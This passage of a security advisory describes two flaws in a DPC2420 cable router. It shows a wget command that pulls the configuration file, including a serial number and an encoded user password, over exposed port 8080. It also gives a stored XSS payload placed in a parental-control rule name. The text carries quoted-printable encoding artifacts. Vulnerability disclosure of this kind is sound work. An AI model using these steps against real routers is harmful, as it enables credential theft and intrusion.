[0x01]> Configuration file disclosure
Some ISP's (like the Argentinean Telecentro) could make some changes in the router configration via the TCP 8080 port.
If the remote config option is enabled and the port is not filter, an attacker can download this file calling the correct URL. For example:
$ wget http://foobar:8080/filename.gwc -O filename.gwc
- --2012-12-08 21:24:43-- http://foobar:8080/filename.gwc
Connecting to foobar:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/octet-stream Content-transfer-encoding: bi=
nary]
Saving to: =E2=80=9Cfilename.gwc=E2=80=9D
$ head -n 10 filename.gwc=20
CRCVALUE=3D4144540802;
#<<Begin of Configuration File>>
Version=3D1.1;
Created Date=3D2012/12/8;
Created Time=3D21:24:43;
Model Number=3DDPC2420;
Serial Number=3D234905123;
User Password=3Dky3gUCBmdwbaviPW5GxMZ8vdgzHjvS3wKfdF2Lhbdwq+S6qn+1fvgs54YBw=
l0jX2glgaQuXx27Eo3FgAz5E1N7bk9yR
7hDbzGS+y7XY4jJjY5yin5SkqAQp9GJl/sZO4t4D7TJzy2oV43flEwmdIPkyJC74zTOYZhb24UL=
Jz3HV6ci5wn3gMPi0rSTkUc3pzHdiK
WMMAsuMrYBi5MU9yqZ1vhCfC/c2Is1xgU1Kq0Y1Wcn2LdmRFU6+7rjRuN6iisAQZRQcF/kiym5V=
ewYRBbnRNKjMXC0fw+M9y4V7Y8S4B6
3XuEwcq3OPUSLWKaA6yPDN5e5ZNxwJJuxldirDXBg=3D=3D;
[---OUTPUT OMITTED FOR SPACE REASONS---]
[0x02]> - Persistent XSS
With a valid user in the router web interface for managment and configurati=
on, a user could insert JavaScript
code in this forms and make a XSS, for example add a parental rule called "=
'/><script>alert(1)</script>.
